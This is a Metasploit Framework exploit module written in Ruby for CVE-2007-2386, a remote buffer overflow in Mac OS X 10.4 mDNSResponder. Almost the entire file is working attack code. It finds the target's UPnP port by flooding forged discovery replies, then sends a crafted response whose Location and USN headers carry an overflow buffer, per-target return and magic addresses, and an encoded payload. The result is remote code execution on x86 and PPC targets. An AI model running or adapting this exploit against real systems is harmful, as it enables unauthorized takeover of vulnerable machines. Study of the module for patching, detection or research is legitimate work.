##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow that occurs when processing
				specially crafted requests set to mDNSResponder. All Mac OS X systems
				between version 10.4 and 10.4.9 (without the 2007-005 patch) are
				affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'ddz'
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '35142' ],
					[ 'CVE', '2007-2386' ],
					[ 'BID', '24144' ],
					[ 'URL', 'http://support.apple.com/kb/TA24732' ]
				],
			'DefaultOptions' =>
				{
					'SRVPORT' => 1900,
					'RPORT' => 0
				},
			'Payload' =>
				{
					'BadChars' => "\x00\x3a\x2f",
					'StackAdjustment' => 0,
					'Space' => 468
				},
			'Platform' => 'osx',
			'Targets' =>
				[
					[ '10.4.8 x86',
						{ # mDNSResponder-108.2
							'Arch'                   => ARCH_X86,
							# Offset to mDNSStorage structure
							'Offset'                 => 21000,
							'Magic'                  => 0x8fe510a0,
							'g_szRouterHostPortDesc' => 0x53dc0,
						}
					],
					[ '10.4.0 PPC',
						{ # mDNSResponder-107
							'Arch'    => ARCH_PPC,
							'Offset'  => 21000,
							'Magic'   => 0x8fe51f4c,
							'Ret'     => 0x8fe41af8,
						}
					]
				],
			'DisclosureDate' => 'May 25 2007',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::LHOST(),
				OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
			], self.class)

		@mutex = Mutex.new()
		@found_upnp_port = false
		@key_to_port = Hash.new()
		@upnp_port = 0
		@client_socket = nil
	end

	def check
		#
		# TODO: Listen on two service ports, one a single character
		# shorter than the other (i.e 1900 and 19000).  If the copy was
		# truncated by strlcpy, it will connect to the service listening
		# on the shorter port number.
		#
		upnp_port = scan_for_upnp_port()
		if (upnp_port > 0)
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unsupported
		end
	end

	def upnp_server(server)
		client = server.accept()
		request = client.readline()
		if (request =~ /GET \/([\da-f]+).xml/)
			@mutex.synchronize {
				@found_upnp_port = true
				@upnp_port = @key_to_port[$1]

				# Important: Keep the client connection open
				@client_socket = client
			}
		end
	end

	def scan_for_upnp_port
		@upnp_port = 0
		@found_upnp_port = false

		upnp_port = 0

		# XXX: Do this in a more Metasploit-y way
		server = TCPServer.open(1900)
		server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

		begin
			socket = Rex::Socket.create_udp

			upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']

			print_status("Listening for UPNP requests on: #{upnp_location}")
			print_status("Sending UPNP Discovery replies...")

			i = 49152;
			while i < 65536 && @mutex.synchronize {
				@found_upnp_port == false
			}
			key = sprintf("%.2x%.2x%.2x%.2x%.2x",
				rand(255), rand(255), rand(255), rand(255), rand(255))

			@mutex.synchronize {
				@key_to_port[key] = i
			}

			upnp_reply = "HTTP/1.1 200 Ok\r\n" +
				"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
				"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
				"Location: #{upnp_location}/#{key}.xml\r\n\r\n"

			socket.sendto(upnp_reply, datastore['RHOST'], i)

			i += 1
		end

		@mutex.synchronize {
			if (@found_upnp_port)
				upnp_port = @upnp_port
			end
		}
		ensure
			server.close
			server_thread.join
		end

		return upnp_port
	end

	def exploit
		#
		# It is very important that we scan for the upnp port.  We must
		# receive the TCP connection and hold it open, otherwise the
		# code path that uses the overwritten function pointer most
		# likely won't be used.  Holding this connection increases the
		# chance that the code path will be used dramatically.
		#
		upnp_port = scan_for_upnp_port()

		if upnp_port == 0
			raise "Could not find listening UPNP UDP socket"
		end

		datastore['RPORT'] = upnp_port

		socket = connect_udp()

		if (target['Arch'] == ARCH_X86)
			space = "A" * target['Offset']
			space[0, payload.encoded.length] = payload.encoded

			pattern = Rex::Text.pattern_create(47)
			pattern[20, 4] = [target['Magic']].pack('V')
			pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

			boom = space + pattern
			usn = ""

		elsif (target['Arch'] == ARCH_PPC)
			space = "A" * target['Offset']

			pattern = Rex::Text.pattern_create(48)
			pattern[20, 4] = [target['Magic']].pack('N')

			#
			# r26, r27, r30, r31 point to g_szUSN+556
			# Ret should be a branch to one of these registers
			# And we make sure to put our payload in the USN header
			#
			pattern[44, 4] = [target['Ret']].pack('N')

			boom = space + pattern

			#
			# Start payload at offset 556 within USN
			#
			usn = "A" * 556 + payload.encoded
		end

		upnp_reply = "HTTP/1.1 200 Ok\r\n" +
			"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
			"USN: #{usn}\r\n" +
			"Location: http://#{boom}\r\n\r\n"

		print_status("Sending evil UPNP response")
		socket.put(upnp_reply)

		print_status("Sleeping to give mDNSDaemonIdle() a chance to run")
		select(nil,nil,nil,10)

		handler()
		disconnect_udp()
	end
end